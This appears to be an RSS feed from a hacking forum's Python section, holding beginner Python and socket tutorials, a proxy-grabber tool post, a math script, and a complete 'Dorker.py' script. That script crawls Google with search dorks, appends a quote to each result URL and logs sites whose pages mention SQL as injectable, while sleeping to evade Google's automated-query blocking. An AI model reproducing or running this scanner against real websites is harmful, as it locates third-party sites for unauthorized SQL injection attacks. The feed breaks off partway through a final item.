<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
      <title>Python - iExploit</title>
      <link>http://iexploit.org/index.php?p=/categories/python/feed.rss</link>
      <pubDate>Tue, 18 Jun 13 01:52:12 -0400</pubDate>
         <description>Python - iExploit</description>
   <language>en-CA</language>
   <atom:link href="/index.php?p=/discussions/feed.rss" rel="self" type="application/rss+xml" />
   <item>
      <title>Where to start in Python?</title>
      <link>http://iexploit.org/index.php?p=/discussion/6266/where-to-start-in-python</link>
      <pubDate>Thu, 21 Feb 2013 17:28:56 -0500</pubDate>
      <dc:creator>ninepandas</dc:creator>
      <guid isPermaLink="false">6266@/index.php?p=/discussions</guid>
      <description><![CDATA[Hi there,&nbsp;<div><br></div><div>I am new to IExploit, and I was wondering if the community could help me out? I am currently learning C++ (I have been using it for the past 6-8 months), and I would like to start using python as my second codding language. I am curious as to where I should start, I have never used Python before, however I hope after learning it it could help me with writing exploits. What I want to start doing is learning how to write exploits, and how they work. In order for me to do that, I know I need to start off small and just learn Python. Where is a good place to start? I am excited about this forum and I hope the community will be a great fit to me. And I could bring something to this community too. Thank you in advance.&nbsp;</div><div><br></div><div>~Pandas&nbsp;</div>]]></description>
   </item>
   <item>
      <title>Dorker.py A SQL Injection Dork Scanner</title>
      <link>http://iexploit.org/index.php?p=/discussion/2794/dorker-py-a-sql-injection-dork-scanner</link>
      <pubDate>Mon, 13 Jun 2011 21:29:08 -0400</pubDate>
      <dc:creator>Xin</dc:creator>
      <guid isPermaLink="false">2794@/index.php?p=/discussions</guid>
      <description><![CDATA[I recently found that none of the dork scanners i used work anymore due to the change in google search.<br><br>This script useds a modified version of xgoogle so do not download the original and expect it to work.<br><br>Also it is not 100% perfect yet as google has a very good defence against automated dork scanning and picks it up after about the 5th or 6th page so im trying to find ways around it. <br><br>http&#58;//i&#46;imgur&#46;com/huRT3&#46;png<br><br>http&#58;//i&#46;imgur&#46;com/huRT3&#46;png<br><br>http&#58;//i&#46;imgur&#46;com/ROgGx&#46;png<br><br>Source:<br><div class="PreContainer"><pre>#!/usr/bin/python<br>## Dorker&amp;#46;py<br>## SQL Dork finder script that crawls google for sites vulnerable to SQL Injection<br>## Author&amp;#58; Xinapse<br>## Website&amp;#58; http&amp;#58;//www&amp;#46;iexploit&amp;#46;org<br>## Email&amp;#58; iexploittube@gmail&amp;#46;com<br>## Twitter&amp;#58; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23iExploitXinapse&amp;Mode=like">#iExploitXinapse</a><br>## Version 0&amp;#46;0&amp;#46;1<br>## Usage dorker&amp;#46;py &amp;#91;options&amp;#93;<br>from xgoogle&amp;#46;search import GoogleSearch, SearchError<br>import time, urllib2, optparse<br><br>print '''<br>________                __                   <br>\______ \   ___________|  | __  ____ _______ <br> |    |  \ /  _ \_  __ \  |/ /_/ __ \\_  __ \<br> |    `   (  &amp;lt;_&amp;gt; )  | \/    &amp;lt; \  ___/ |  | \/<br>/_______  /\____/|__|  |__|_ \ \___  &amp;gt;|__|   <br>        \/                  \/     \/        <br>---------------------------------------------------------------------------------<br>-- dorker&amp;#46;py                                                                   --<br>-- SQL Dork finder script                                                      --<br>-- Author&amp;#58; Xinapse                                                             --<br>-- Website&amp;#58; http&amp;#58;//www&amp;#46;iexploit&amp;#46;org                                            --<br>-- Email&amp;#58; iexploittube@gmail&amp;#46;com                                               --<br>-- Twitter&amp;#58; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23iExploitXinapse&amp;Mode=like">#iExploitXinapse</a>                                                   --<br>-- Version 0&amp;#46;0&amp;#46;1                                                               --<br>-- Usage dorker&amp;#46;py &amp;#91;options&amp;#93;                                                   --<br>---------------------------------------------------------------------------------<br>'''<br>parser = optparse&amp;#46;OptionParser()<br>options = optparse&amp;#46;OptionGroup(parser, 'Options')<br>parser&amp;#46;add_option('-d', '--dork', action='store', type='string', help='Dork to Scan', metavar='DORK')<br>parser&amp;#46;add_option('-f', '--file', action='store', type='string', help='Filename to save', metavar='FILE')<br>parser&amp;#46;add_option('-v', '--verbose', action=\&quot;store_true\&quot;, dest=\&quot;verbose\&quot;, default=False, help=\&quot;Adds extra status messages showing program execution\&quot;)<br>parser&amp;#46;add_option('-e', '--evasion', action='store', type='string', help='How long to sleep between each google request, used to prevent google blocking your IP for too many requests, recommended at least 5+, default 10', metavar='EVASION')<br>(opts, args) = parser&amp;#46;parse_args()<br>urlno = 0<br>invuln = 0<br>if opts&amp;#46;dork&amp;#58;<br>    dork = opts&amp;#46;dork<br>else&amp;#58;<br>    print '&amp;gt;&amp;gt; Please enter a dork'<br>if opts&amp;#46;file&amp;#58;<br>    filename = opts&amp;#46;file<br>else&amp;#58;<br>    print '&amp;gt;&amp;gt; Please enter a filename'<br>if opts&amp;#46;verbose&amp;#58;<br>    verbose = 'true'<br>else&amp;#58;<br>    verbose = 'false'<br>if opts&amp;#46;evasion&amp;#58;<br>    evas = opts&amp;#46;evasion<br>else&amp;#58;<br>    evas = 10<br>pagecount = 0<br>counter = 0<br>try&amp;#58;<br>    pagecount = pagecount + 1<br>    if verbose == 'true'&amp;#58;<br>        print '&amp;gt;&amp;gt; Crawling google page ' + str(pagecount) + '&amp;#46;&amp;#46;&amp;#46;'<br>    <br>    search = GoogleSearch(dork)<br>    <br>    <br>    <br>    <br>    while True&amp;#58;<br>        search&amp;#46;results_per_page=100<br>        tmp = search&amp;#46;get_results()<br>        <br>        if not tmp&amp;#58;<br>            break<br>            if verbose == 'true'&amp;#58;<br>                print '&amp;gt;&amp;gt; No more results&amp;#46;&amp;#46;&amp;#46;'<br>        <br>                <br>        for t in tmp&amp;#58;<br>            try&amp;#58;<br>                <br>                url = t&amp;#46;url&amp;#46;encode(\&quot;utf8\&quot;)<br>                if verbose == 'true'&amp;#58;<br>                    print '&amp;gt;&amp;gt; Testing ' + url + ' for vulnerabilities&amp;#46;&amp;#46;&amp;#46;'<br>                testurl = url + \&quot;'\&quot;<br>                req = urllib2&amp;#46;urlopen(testurl)<br>                data = req&amp;#46;read()<br>                if \&quot;sql\&quot; in data or \&quot;SQL\&quot; in data or \&quot;MySQL\&quot; in data or \&quot;MYSQL\&quot; in data or \&quot;MSSQL\&quot; in data&amp;#58;<br>                    f = open (filename, \&quot;a\&quot;)<br>                    if verbose == 'true'&amp;#58;<br>                        print \&quot;&amp;gt;&amp;gt; Found possible injection in \&quot; + url<br>                    f&amp;#46;write(testurl + \&quot;\n\&quot;)<br>                    f&amp;#46;close()<br>                    counter = counter + 1<br>                else&amp;#58;<br>                    invuln = invuln + 1<br>            except&amp;#58;<br>                errors = 1<br>        if verbose == 'true'&amp;#58;<br>            print '&amp;gt;&amp;gt; Sleeping to bypass google flood protection&amp;#46;&amp;#46;&amp;#46;'        <br>        time&amp;#46;sleep(evas)<br><br><br>except SearchError, e&amp;#58;<br>    print \&quot;&amp;gt;&amp;gt; Search failed&amp;#58; %s\&quot; % e<br><br><br>print '&amp;gt;&amp;gt; Dorker scan ended'<br>print '&amp;gt;&amp;gt; ' + str(counter) + ' vulnerable sites found'<br>print '&amp;gt;&amp;gt; ' + str(invuln) + ' sites not vulnerable'<br>print '&amp;gt;&amp;gt; Thank you for using Dorker, output has been saved to ' + filename<br><br><br><br></pre></div><br><br>Download entire archive with modded xgoogle<br><div class="PreContainer"><pre>http&amp;#58;//min&amp;#46;us/mZKiVMNMeJn0q#1f<br></pre></div>]]></description>
   </item>
   <item>
      <title>python for hackers</title>
      <link>http://iexploit.org/index.php?p=/discussion/6038/python-for-hackers</link>
      <pubDate>Fri, 25 May 2012 02:22:36 -0400</pubDate>
      <dc:creator>jibudada</dc:creator>
      <guid isPermaLink="false">6038@/index.php?p=/discussions</guid>
      <description><![CDATA[python is very powerful programming as well as scripting language. if you are interested in computer and network security then python is the best language for you.<br><br>i have found some video tutorial on "how to use python for information security" <br>www.securitytube.net/video/1933<br>www.securitytube.net/video/1946<br>]]></description>
   </item>
   <item>
      <title>Python for newcomers part 1</title>
      <link>http://iexploit.org/index.php?p=/discussion/2099/python-for-newcomers-part-1</link>
      <pubDate>Wed, 12 Jan 2011 06:30:43 -0500</pubDate>
      <dc:creator>chroniccommand</dc:creator>
      <guid isPermaLink="false">2099@/index.php?p=/discussions</guid>
      <description><![CDATA[Well welcome to my new series. Python for newcomers. Since I'm pretty much finished with my C for newcomers series, I've decided to write up a Python for newcomers series. Hopefully this will help many people with Python and help get started with it.<br><br><span style="color: #32CD32;">Part 1 - Getting started</span><br><br>Python is a now widely known language. I prefer it over many languages for its functionality and its power. With such a great community theres so many people willing to help you, and theres so many new modules being created each day. Hopefully this series will help you learn the joy of this programming language. Python is great for many things, but not the best when you need to interface with computer hardware and such because python is <i>interpreted</i>. This means it's slower than a compiled language such as C. Python is also a high level language, meaning it uses layers to communicate with the computers OS // Hardware. <br><br><span style="color: #FF0000;">Installing</span><br>Python can be almost any system. If you're running a *nix box, you can install it with your preferred package manager. Of course, you can download Python from <a class="postlink" rel="nofollow" href="http://python.org/">http://python.org/</a><br><br>Once you've got it installed you should be all set up and ready to go.<br><br><span style="color: #0000CD;">Modes</span><br>There are two main ways to interact with python. One is <b>Interactive mode</b> and the other is <b>IDLE</b>. Interactive mode is like a command line. You type instructions one line at a time. IDLE includes Pythons interactive mode and much more. To run interactive mode, just type <i>python</i> at your command line. It should say something like this:<br><div class="PreContainer"><pre><br>Python 2&amp;#46;6&amp;#46;5 (r265&amp;#58;79063, Apr 16 2010, 13&amp;#58;57&amp;#58;41) <br>&amp;#91;GCC 4&amp;#46;4&amp;#46;3&amp;#93; on linux2<br>Type \&quot;help\&quot;, \&quot;copyright\&quot;, \&quot;credits\&quot; or \&quot;license\&quot; for more information&amp;#46;<br>&amp;gt;&amp;gt;&amp;gt; <br></pre></div><br>This is interactive mode(Distinguished by the &gt;&gt;&gt;). You can really do anything in interactive mode that you'd usually do in a python program. You can import, create functions, classes, etc. By default, interactive mode will print to the screen.<br><br><span style="color: #FFD700;">Hello world</span><br>Now it's about time to create our first ever program in python! This is easy. First open up interactive mode and get the prompt with the three &gt;'s Then type the following:<br><div class="PreContainer"><pre><br>print \&quot;Hello, World!\&quot;<br></pre></div><br>And hit enter. You should get the output Hello, World. Then it will go back to the &gt;&gt;&gt;. <br><br>Now how about <i>values</i>? If you're familiar with programming you should know what a value is. Take a look at the following code:<br><div class="PreContainer"><pre><br>x = 2<br>print x<br></pre></div><br>The first line assigns a value to x. This value is set as two. Then we print whatever the value of x is. We can change x to anything we want. A list, tuple, string, integer or whatever. <br><br><span style="color: #87CEEB;">Manipulating strings</span><br>In Python we can assign strings to lets say, x. Then we can easily print it.<br><div class="PreContainer"><pre><br>x = \&quot;Hello\&quot;<br>print x<br></pre></div><br>Easy. You can add strings together too. <br><div class="PreContainer"><pre><br>x = \&quot;Hello \&quot;<br>y = \&quot;World\&quot;<br>print x + y<br></pre></div><br>You should get the output Hello World. You can add together strings, numbers, lists, tuples and tons of other things. <br><br><span style="color: #FFD700;">Python calculator</span><br>Python, like all other languages, is good for doing math. You can add, subtract, multiply, divide and much more. For more math options you can import the math module. I will not be going over the math module just yet. Here is a list of basic operators:<br>+  Addition  x + y<br>-  Subtraction  x - y<br>*  Multiplication x * y<br>/  Division  x / y<br><br>Don't use an equals sign when preforming math. The equals sign is for assigning a name to a value. If you try to use it like so:<br><div class="PreContainer"><pre>2 + 2 =</pre></div><br>You will get a syntax error.<br><br><span style="color: #800000;">Imports</span><br>Importing modules is an important thing in Python. Importing modules provide extra code other than the defaults included such as print. To import a module, type <b>Import</b> followed by the module. Let's say I want to import the math module and print the value of pi.<br><div class="PreContainer"><pre><br>import math<br>x = math&amp;#46;pi()<br>print x<br></pre></div><br>This will print the value of pi. You can import several modules in one python code, such as sys, os, math and more.<br><br><span style="color: #800080;">Comments</span><br>Comments are very important in Python(Or in any other programming languages). Comments can help increase readability of code. If others are reading your code, they can read your comments to see what is going on in the code. You can also include comments to help you remember what you were doing or what you need to do in the code.<br>To create a comment, just add a #(pound) symbol. Anything following a pound will not be included in the code.<br><div class="PreContainer"><pre><br>print \&quot;Hi\&quot; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Prints&amp;Mode=like">#Prints</a> Hi to the screen<br></pre></div><br>Note: Do not add comments to everything. That's just retarded. Add comments to things that need them.<br><br><span style="color: #6B8E23;">Getting Help</span><br>Python includes a built in help function. This is very useful when you can't remember how to use a specific function or what. To use this help function, open the interactive mode and type help(). You should get this prompt:<br><div class="PreContainer"><pre>help&amp;gt;</pre></div><br>From here you can type a module, keyword or topic and get help about it. You can also type help(module) to get help about a specific module.<br><br><br>I hope you liked this very simple introduction to Python. Stay tuned for part 2, where I will discuss basic use of Strings, Integers and lists.<br><br>--Chroniccommand]]></description>
   </item>
   <item>
      <title>Proxyworker a mass proxy grabber, scan, test tool</title>
      <link>http://iexploit.org/index.php?p=/discussion/5742/proxyworker-a-mass-proxy-grabber-scan-test-tool</link>
      <pubDate>Mon, 22 Aug 2011 16:37:05 -0400</pubDate>
      <dc:creator>LeXeL</dc:creator>
      <guid isPermaLink="false">5742@/index.php?p=/discussions</guid>
      <description><![CDATA[<pre><code>______                     _    _            _             <br>| ___ \                   | |  | |          | |            <br>| |_/ /_ __ _____  ___   _| |  | | ___  _ __| | _____ _ __ <br>|  __/| '__/ _ \ \/ / | | | |/\| |/ _ \| '__| |/ / _ \ '__|<br>| |   | | | (_) &gt;  &lt;| |_| \  /\  / (_) | |  |   &lt;  __/ |   <br>\_|   |_|  \___/_/\_\__,  |\/  \/ \___/|_|  |_|\_\___|_|   <br>                      _ / |                                <br>                     |___/    <br>                     </code></pre><br>INFO:<br>Proxyworker is a python tool that grabs proxies from online sources and append them to a list. The list will be passed through several test's such as:<br>-Latency test: test the proxy speed according sending 1 package from your computer to the proxy.<br>-Speed test: if the proxy passes the latency test it connects to "<a href="http://google.com" target="_blank" rel="nofollow">http://google.com</a>" and calculate the data+amount of time it takes to successfully get data.<br>-Anonymity test: Some proxy's show your real ip-address on the headers. The tool will print out if the proxy is anonymous or not.<br><br>*You might ask why print if the proxy is anonymous well mainly because you can use it for other propose that don't include HTTP headers.   <br>Once you have a complete list working+tested proxy's you can bind them to your localhost(127.0.0.1) and surf the web using the proxy you just found.<br>* This tool is recommended to be used without any other application running for more efficiency, because it makes lot of connections via web servers and if you are using your browser it will take more time to scan for possible proxy's, also if you are f.ex watching youtube you can get low latency and will not get any result on the proxy's so please keep that in mind.<br> <br>SCREENSHOT'S:<br>Helpscreen:  <a rel="nofollow" target="_blank" href="http://imageshack.us/f/808/helpscreen.jpg/">Imageshack - helpscreen.jpg</a><br>Normal mode: <a rel="nofollow" target="_blank" href="http://imageshack.us/f/707/normalim.jpg/">Imageshack - normalim.jpg</a><br>Fullmode:    <a rel="nofollow" target="_blank" href="http://imageshack.us/f/192/fullmode.jpg/">Imageshack - fullmode.jpg</a><br>Individual proxy speed scan: <a rel="nofollow" target="_blank" href="http://imageshack.us/f/560/testspeed.jpg/">Imageshack - testspeed.jpg</a><br>Individual proxy ping scan:  <a rel="nofollow" target="_blank" href="http://imageshack.us/f/189/pingfkn.jpg/">Imageshack - pingfkn.jpg</a><br><br>HOW TO:<br>======================================Âº======================================Âº<br>Download Proxyworker.zip<br><pre><code><br>LeXeL@Ubuntulab:~$ wget <a href="http://107.20.187.10:8000/Proxyworker.tar.gz" target="_blank" rel="nofollow">http://107.20.187.10:8000/Proxyworker.tar.gz</a><br>--2011-09-09 22:06:52--  <a href="http://107.20.187.10:8000/Proxyworker.tar.gz" target="_blank" rel="nofollow">http://107.20.187.10:8000/Proxyworker.tar.gz</a><br>Connecting to 107.20.187.10:8000... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: 9410 (9.2K) [application/octet-stream]<br>Saving to: `Proxyworker.tar.gz'<br><br>100%[============================================&gt;] 9,410       --.-K/s   in 0s<br><br>2011-09-09 22:06:52 (473 MB/s) - `Proxyworker.tar.gz' saved [9410/9410]<br></code></pre><br><br>======================================Âº======================================Âº<br><br>UNZIP the proxyworker.zip<br><pre><code><br>LeXeL@Ubuntulab:~$ tar -zxvf Proxyworker.tar.gz<br>Proxyworker.py<br>localhostconector.py<br>progressbar.py<br>tools/<br>tools/Scrapper.py<br></code></pre><br>======================================Âº======================================Âº<br><br>HELPSCREEN:<br><pre><code><br>LeXeL@Ubuntulab:~$ python Proxyworker.py -h<br>______                     _    _            _             <br>| ___ \                   | |  | |          | |            <br>| |_/ /_ __ _____  ___   _| |  | | ___  _ __| | _____ _ __ <br>|  __/| '__/ _ \ \/ / | | | |/\| |/ _ \| '__| |/ / _ \ '__|<br>| |   | | | (_) &gt;  &lt;| |_| \  /\  / (_) | |  |   &lt;  __/ |   <br>\_|   |_|  \___/_/\_\__,  |\/  \/ \___/|_|  |_|\_\___|_|   <br>                      _ / |                                <br>                     |___/    version 0.9.8<br>                     <br>                     <br>Proxyworker.py &lt;command&gt;<br><br><br>Currently supported commands:<br> -s | Saves the proxies into a txt file<br> -Sa| Set the name of the txt file<br> -h | Print this help screen<br> -f | Makes a full scan of the proxy:speed,anonymity and latency<br><br>----------------------------------------------------------------<br><br>Individual Commands:<br>-test | Test the giving proxy for speed, latency and anonymity<br>-ping | Get the latency of the giving proxy<br>-bind | Binds the proxy to the localhost<br>PRESS ENTER TO EXIT<br></code></pre><br>======================================Âº======================================Âº<br><br>Complete scan:<br><pre><code><br>LeXeL@Ubuntulab:~$ python Proxyworker.py -f<br>______                     _    _            _             <br>| ___ \                   | |  | |          | |            <br>| |_/ /_ __ _____  ___   _| |  | | ___  _ __| | _____ _ __ <br>|  __/| '__/ _ \ \/ / | | | |/\| |/ _ \| '__| |/ / _ \ '__|<br>| |   | | | (_) &gt;  &lt;| |_| \  /\  / (_) | |  |   &lt;  __/ |   <br>\_|   |_|  \___/_/\_\__,  |\/  \/ \___/|_|  |_|\_\___|_|   <br>                      _ / |                                <br>                     |___/    version 0.9.8<br>                     <br>                     <br>Save MODE: 0FF<br>[!]The Testmode is 0N<br>This will make the process take more time<br><br><br>Scaning for proxy's online please wait<br>100% |#########################################################################|<br>Found a total of: 600 Proxys<br>Proxy: 75.65.216.39:8080 <br>       +----- Latency        : 104 [Good]<br>[!]Problem getting the Transfer speed<br>Proxy: 68.39.161.178:8080 <br>       +----- Latency        : 104 [Good]<br>[!]Problem getting the Transfer speed<br>Proxy: 69.163.96.2:8080 <br>       +----- Latency        : 124 [Good]<br>[!]Problem getting the Transfer speed<br>Proxy: 209.97.203.60:8080 <br>       +----- Latency        : 151 [Good]<br>       +----- Transfer speed : 3.29kB/s<br>       +----- Anonymous proxy: NO<br>Proxy: 69.163.96.3:8080 <br>       +----- Latency        : 130 [Good]<br>       +----- Transfer speed : 0.08kB/s<br>       +----- Anonymous proxy: YES<br></code></pre><br>======================================Âº======================================Âº<br><br>Bind a proxy:<br><pre><code><br>LeXeL@Ubuntulab:~$ python Proxyworker.py -bind &lt;proxy:port&gt;<br></code></pre><br>======================================Âº======================================Âº<br><br>FAQ:<br>1. Why this tool?<br>R: This tool comes from a long story since MPG(a group of <a rel="nofollow" target="_blank" href="http://forum.intern0t.net">http://forum.intern0t.net</a> decided to code a tool that grabs proxy's) after that the proyect die, but i grab again the idea and add<br>some other stuffs<br><br>======================================Âº======================================Âº<br><br>Credits:<br>This tool was created.tested.developed by LeXeL(<a rel="nofollow" href="mailto:lexelEZ@gmail.com">lexelEZ@gmail.com</a>)<br>There is some collaboration by Aceldama, irenicus09<br>Special thanks to:  Eph, s3my0n, DiabloHorn, g0tm1lk, and all intern0t members.<br><br>======================================Âº======================================Âº<br><br>EDITS:<br>0.9.8 - added Saves file by default (ProxyworkerLogs.txt) <br>        - Fixed some bugs<br>        - Improve the Anonymous Scan<br>		- Add a directory with tools that have to do with Proxyworker<br>** Changed the host!]]></description>
   </item>
   <item>
      <title>arithmetic / geometric series</title>
      <link>http://iexploit.org/index.php?p=/discussion/5967/arithmetic-geometric-series</link>
      <pubDate>Sat, 03 Mar 2012 09:28:19 -0500</pubDate>
      <dc:creator>undead</dc:creator>
      <guid isPermaLink="false">5967@/index.php?p=/discussions</guid>
      <description><![CDATA[This little program can find the sum of n terms of an arithmetic progression as well as of a geometric progression.<br><br>If you don't know what arithmetic and geometric progressions are visit these links:<br><br><a class="postlink" rel="nofollow" href="http://en.wikipedia.org/wiki/Geometric_progression">http://en.wikipedia.org/wiki/Geometric_progression</a><br><a class="postlink" rel="nofollow" href="http://en.wikipedia.org/wiki/Arithmetic_progression">http://en.wikipedia.org/wiki/Arithmetic_progression</a><br><br><div class="PreContainer"><pre>#!/usr/bin/python<br><br>#a1&amp;#58; initial term of the arithmetic/geometric progression<br>#dif&amp;#58; common difference<br>#n&amp;#58; number of terms<br>#crat&amp;#58; common ratio<br><br>class ArithmeticProgression&amp;#58;<br>	def __init__(self, a1, n, dif)&amp;#58;<br>		self&amp;#46;a1 = a1<br>		self&amp;#46;n = n<br>		self&amp;#46;dif = dif<br>	def PrintSum(self)&amp;#58;<br>		S = (self&amp;#46;n/2)*(2*self&amp;#46;a1 + (self&amp;#46;n-1)*self&amp;#46;dif)<br>                # S = n/2 ( 2a1 + (n-1)dif )  or S = n/2 (a1 + an)<br>		print S<br><br>class GeometricProgression&amp;#58;<br>	def __init__(self, a1, n, crat)&amp;#58;<br>		self&amp;#46;a1 = a1<br>		self&amp;#46;n = n<br>		self&amp;#46;crat = crat<br>	def PrintSum(self)&amp;#58;<br>		S = self&amp;#46;a1 * ( (self&amp;#46;crat**self&amp;#46;n - 1) / (self&amp;#46;crat - 1) )<br>                # S = a1 * commonratio**n - 1 / commonratio - 1, commonratio != 1<br>		print S		<br>		<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23first&amp;Mode=like">#first</a> argument&amp;#58; initial term<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23sencond&amp;Mode=like">#sencond</a> argument&amp;#58; number of terms<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23third&amp;Mode=like">#third</a> argument&amp;#58; common difference for the arithmetic progression and common ratio for geometric progression<br><br>sum1 = ArithmeticProgression(1, 100, 1) #1+2+3+&amp;#46;&amp;#46;&amp;#46;+100<br>sum1&amp;#46;PrintSum()<br>sum2 = GeometricProgression(1, 7, 3) #1+3+9+27+81+243+729<br>sum2&amp;#46;PrintSum()</pre></div><br><br>enjoy :)]]></description>
   </item>
   <item>
      <title>Sockets(in Python)</title>
      <link>http://iexploit.org/index.php?p=/discussion/2075/socketsin-python</link>
      <pubDate>Sat, 05 Mar 2011 20:08:46 -0500</pubDate>
      <dc:creator>chroniccommand</dc:creator>
      <guid isPermaLink="false">2075@/index.php?p=/discussions</guid>
      <description><![CDATA[[-----------------------]<br>Paper: Sockets(in Python)<br>Author: Chroniccommand<br>[-----------------------]<br>Contents:<br>1 - Intro<br>2 - Network overview<br>3 - TCP in python<br>4 - Using sockets<br><br>[--Intro--]<br>This is a paper I've decided to write for those who don't know much about sockets. I will be going over what is a socket, what types of sockets are there, etc. I will also be using Python for the main language here.<br><br>[--Network overview--]<br>So what exactly is a network? Well to put it in a bit easier to understand terms, a network is a connection from one machine to another(and to another and another....). The Internet, is a series of tubes(loljk). The Internet consists of millions of networks connected. Machines in a LAN network talk to each other using a MAC address(A 48-bit serial number), that the computer has assigned to it. I will be using the examples computer A, computer B and computer C. Computers A and B are on the same network. Computer C is a computer in lets say, Taiwan. All computers on the Internet are assigned an IP(Internet Protocol) address. If machine A wants to communicate with machine C in Taiwan, machine A sends to the router first. Then that router sends to another one, to another one, to another one until it reaches computer C's network. The router puts C's MAC address in the packet and sends it out on the local Network. Computer C will see that packet with it's MAC address in it and accept it. Now to explain <i>ports</i>. A port can be a physical port on the computer(Like a USB port). But we're talking about network ports. Ports are essentially processes on a machine that handle connections to that network. Lower ports are usually reserved for more known ports, such as:<br>21 [align=center]FTP[/align]<br>22 [align=center]SSH[/align]<br>23 [align=center]Telnet[/align]<br>80 [align=center]HTTP[/align]<br>110 [align=center]POP3[/align]<br><br>And there's of course a lot more "famous" ports.<br><br>[--What is a socket--]<br>Well what exactly is a socket you ask? Well simply, a socket allows for easy communication over a network. Originally developed by Berkely as a UNIX only feature, sockets are widely used in almost everything now. Think of a socket as a phone call. You dial a number(host), with an extension(port). Then you can use that connection between "phones" to talk to each other and communicate.  <br><br>[--TCP(in Python)--]<br>So what is TCP? Well it stands for Transmission Control Protocol. TCP is one of the core components of the Internet Protocol Suite. The other is UDP. TCP is more reliable than UDP, but UDP is still used in some cases(I'll get to that later). So TCP is usually used. What happens with TCP is that a message from machine A is first broken into pieces and sent separately. At machine C, the TCP layer of the network will check the pieces for errors, re-assemble the pieces and then deliver the message to C. Everything that is sent from A to C is considered one big message. This can make things a bit complicated on the receiving side. This is why it's useful to just have a while loop until it receives a message saying C has finished receiving the message. Now lets see a simple server in python.<br>----server.py----<br><div class="PreContainer"><pre><br>#!/usr/bin/python<br>import socket, sys<br>s = socket&amp;#46;socket(socket&amp;#46;AF_INET, socket&amp;#46;SOCK_STREAM) <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Create&amp;Mode=like">#Create</a> an TCP socket<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Associate&amp;Mode=like">#Associate</a> socket with port<br>host = ''<br>port = int(sys&amp;#46;argv&amp;#91;1&amp;#93;)<br>s&amp;#46;bind((host,port))<br><br>s&amp;#46;listen(1) <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Listen&amp;Mode=like">#Listen</a> for one connection(From the client)<br>conn, addr = s&amp;#46;accept()<br>print 'Client is ', addr<br><br>data = conn&amp;#46;recv(1024)<br>data = 10000 * data<br>conn&amp;#46;send(data)<br>conn&amp;#46;close()<br></pre></div><br>------------<br>Fairly simple. Create socket, associate host and port to socket, listen for client, accept connection from client, receive up to 1024 bytes of data from client. Then we close the socket. Now for the client.<br>----client.py----<br><div class="PreContainer"><pre><br>#!/usr/bin/python<br>import sys, socket<br><br>s = socket&amp;#46;socket(socket&amp;#46;AF_INET, socket&amp;#46;SOCK_STREAM)<br>host = sys&amp;#46;argv&amp;#91;1&amp;#93;<br>port = int(sys&amp;#46;argv&amp;#91;2&amp;#93;)<br>s&amp;#46;connect((host, port))<br>s&amp;#46;send(sys&amp;#46;argv&amp;#91;3&amp;#93;)<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Now&amp;Mode=like">#Now</a> the while loop<br>i = 0<br>while(1)&amp;#58;<br>    data = s&amp;#46;recv(1024)<br>    i += 1<br>    if (i &amp;lt; 5)&amp;#58;<br>        print data<br>    if not data&amp;#58;<br>        break<br>s&amp;#46;close()<br></pre></div><br>----------<br>Also simple. Create TCP socket, connect to host and port, send a string. Loop to receive data from the server until data is 5(looking at the first part of the message). So you'd run the server on one machine:<br>python server.py 4073<br><br>Then the client on another:<br>python client.py ip_of_server 4073 hello<br><br>This sends the string "hello" to the server who is accepting connections on port 4073. <br><br>Now of course, the message is regarded by the OS as splits of a message which gets re-assembled into one big message. <br><br><br>[--Using sockets--]<br>Python is wonderful for using socket's. It's much easier than socket programming in C. If you take a look at the server and client python files you should see the basic syntax of using sockets. To create a socket, you would do this:<br><div class="PreContainer"><pre><br>s = socket&amp;#46;socket(socket&amp;#46;AF_INET, socket&amp;#46;SOCK_STREAM)<br></pre></div><br><br>This is creating a TCP socket and setting it as s. If you want a UDP socket, you change SOCK_STREAM to SOCK_DGRAM. For the server, we see we run the code s.bind(). This binds the host and the port to the server. The listen() function listens for clients. For the server, it listens for just 1 connection. We can change that number to accept more clients at one time. Coding socket in python is pretty easy. To learn more, visit the documentation page at <a class="postlink" rel="nofollow" href="http://docs.python.org/library/socket.html">http://docs.python.org/library/socket.html</a><br><br>[--UDP sockets(in Python)--]<br>UDP stands for User Datagram Protocol. UDP is less popular but is still used. UDP sends data in one connection, allowing room for more errors. Basically theres a chance that the message will end up scrambled or not even make it to the destination at all. This is why TCP is more widely used as it is more reliable. To create a UDP socket in python, you'd use the following syntax:<br><div class="PreContainer"><pre><br>s = socket&amp;#46;socket(socket&amp;#46;AF_INET, socket&amp;#46;SOCK_DGRAM<br></pre></div><br>The one major change we see from using TCP sockets is <b>SOCK_DGRAM</b>. This simply declares the socket as a UDP, or datagram socket.<br><br>[--UNIX sockets--]<br>Now I just wanted to go over this briefly in this paper. A UNIX socket is a special type of socket. Obviously, it's only available in a UNIX system, so it wont work on Windows. But a UNIX socket is a type of socket that allows for inter process communication on a UNIX type system. You can declare a UNIX socket using:<br><div class="PreContainer"><pre><br>s = socket&amp;#46;socket(socket&amp;#46;AF_UNIX, socket&amp;#46;SOCK_STREAM)<br></pre></div><br>This will create a UNIX TCP socket. Fairly simple.<br><br>[--IPv6 sockets--]<br>Another useful thing you can do with sockets is create an IPv6 socket. IPv6 is more advanced than IPv4, and allows for a lot more possible addresses. Note that soon enough, IPv6 will be used over IPv4. To declare an IPv6 socket in Python, you'd do something like this:<br><div class="PreContainer"><pre><br>s = socket&amp;#46;socket(socket&amp;#46;AF_INET6, socket&amp;#46;SOCK_STREAM_<br></pre></div><br>The big difference here is the <b>AF_INET6</b>. This will create an INET6 socket instead of INET, which is IPv4.<br><br><br>--EOF]]></description>
   </item>
   <item>
      <title>Fibonacci Sequence</title>
      <link>http://iexploit.org/index.php?p=/discussion/5820/fibonacci-sequence</link>
      <pubDate>Mon, 05 Sep 2011 00:59:44 -0400</pubDate>
      <dc:creator>Xpectz</dc:creator>
      <guid isPermaLink="false">5820@/index.php?p=/discussions</guid>
